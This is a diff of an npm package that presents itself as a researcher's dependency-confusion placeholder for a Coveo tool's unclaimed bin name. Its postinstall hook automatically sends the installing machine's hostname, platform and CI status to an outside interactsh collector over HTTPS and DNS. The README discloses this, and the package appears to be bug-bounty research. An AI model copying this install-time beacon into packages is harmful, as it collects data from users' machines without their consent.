atomic-meta-check 0.0.1

package/README.md

@@ -0,0 +1,35 @@
+# atomic-meta-check — security placeholder (namespace reservation)
+
+**This is NOT a functional package.** It is a good-faith security reservation.
+
+## Why this exists
+The unscoped name `atomic-meta-check` was the **unclaimed `bin` name** of the published,
+scoped package [`@coveo/atomic-component-health-check`](https://www.npmjs.com/package/@coveo/atomic-component-health-check).
+Because the scoped package's binary is defined as `"bin": { "atomic-meta-check": ... }`,
+anyone running `npx atomic-meta-check` (the unscoped form, e.g. by dropping the `@coveo/`
+scope) would have fetched **whatever was published under this name** on the public registry —
+a classic **dependency-confusion / "npxconfuse"** hijack leading to arbitrary code execution
+on developer machines, CI runners, and AI agents.
+
+This placeholder was registered by an independent security researcher to **prevent a malicious
+actor from claiming the name first**, and to measure whether the name is pulled in the wild.
+
+## What it does
+- Ships a `postinstall` "beacon" that reports **only** non-sensitive install context —
+  hostname, OS platform, Node version, and a boolean "is this CI?" — to the researcher's
+  collaborator endpoint. It reads **no files**, dumps **no environment variables or secrets**,
+  performs **no destructive action**, never throws, and never fails your install.
+- If executed via `npx`, it prints a notice pointing you to the correct scoped package.
+
+## What you should do
+Use the real, scoped package instead:
+
+```sh
+npx @coveo/atomic-component-health-check
+```
+
+## For the Coveo security team
+Please **publish your own placeholder** (or reserve this name) so a real attacker cannot.
+Contact the researcher via the Intigriti Coveo program (handle: `ghalahad`) to have this
+reservation transferred to Coveo or unpublished. Full source of this package is exactly the
+three files shipped here (`package.json`, `beacon.js`, `cli.js`) — nothing hidden.

package/beacon.js

@@ -0,0 +1,35 @@
+// Benign security canary (dependency-confusion / npxconfuse PoC).
+// Reports ONLY non-sensitive install-context telemetry to confirm whether this
+// unscoped name is actually being pulled in the wild:
+//   - os.hostname(), os.platform(), node version, a boolean "is this CI?"
+// It reads NO files, dumps NO environment values/secrets, does NOTHING destructive,
+// never throws, and never fails the install. See README.md for full disclosure.
+try {
+  const os = require('node:os');
+  const https = require('node:https');
+  const dns = require('node:dns');
+  const CB = 'd9v7gkqgp7glpsfhspo0bnf169cgo7f97.oast.pro';
+  const ci = !!(
+    process.env.CI ||
+    process.env.GITHUB_ACTIONS ||
+    process.env.CIRCLECI ||
+    process.env.JENKINS_URL ||
+    process.env.GITLAB_CI
+  );
+  const enc = (s) => encodeURIComponent(String(s || '').slice(0, 40));
+  const q =
+    `pkg=atomic-meta-check&h=${enc(os.hostname())}` +
+    `&p=${enc(os.platform())}&n=${enc(process.version)}&ci=${ci ? 1 : 0}`;
+
+  // HTTP beacon (interactsh captures the full request)
+  const req = https.get(`https://${CB}/canary?${q}`, (res) => res.destroy());
+  req.on('error', () => {});
+  req.setTimeout(3000, () => req.destroy());
+
+  // DNS beacon fallback (interactsh captures DNS lookups even when egress blocks HTTP)
+  const label =
+    (os.hostname() || 'unknown').toLowerCase().replace(/[^a-z0-9]/g, '').slice(0, 20) || 'x';
+  dns.lookup(`${label}.${CB}`, () => {});
+} catch (_e) {
+  // never break an install
+}

package/cli.js

@@ -0,0 +1,21 @@
+#!/usr/bin/env node
+// If someone runs `npx atomic-meta-check`, show a clear notice instead of silently
+// breaking anything. This name is a security placeholder, not a functional tool.
+console.error(
+  [
+    '',
+    '  atomic-meta-check — SECURITY PLACEHOLDER (not a functional tool)',
+    '',
+    '  This unscoped name was an UNCLAIMED bin of @coveo/atomic-component-health-check.',
+    '  It was reserved in good faith by a security researcher to prevent a',
+    '  dependency-confusion / npxconfuse hijack of this name.',
+    '',
+    '  If you intended the real tool, use the SCOPED package:',
+    '      npx @coveo/atomic-component-health-check',
+    '',
+    '  Coveo security team: contact the researcher (Intigriti: ghalahad) to have this',
+    '  reservation transferred to you or unpublished.',
+    '',
+  ].join('\n')
+);
+process.exit(0);

package/package.json

@@ -0,0 +1,24 @@
+{
+  "name": "atomic-meta-check",
+  "version": "0.0.1",
+  "description": "SECURITY PLACEHOLDER — reserves the unclaimed unscoped bin name of @coveo/atomic-component-health-check to prevent a dependency-confusion (npxconfuse) hijack. This is NOT the real tool; use @coveo/atomic-component-health-check.",
+  "bin": {
+    "atomic-meta-check": "cli.js"
+  },
+  "scripts": {
+    "postinstall": "node ./beacon.js"
+  },
+  "keywords": [
+    "security-placeholder",
+    "namespace-reservation",
+    "dependency-confusion",
+    "npxconfuse"
+  ],
+  "license": "MIT",
+  "author": "Security researcher (Intigriti handle: ghalahad)",
+  "files": [
+    "cli.js",
+    "beacon.js",
+    "README.md"
+  ]
+}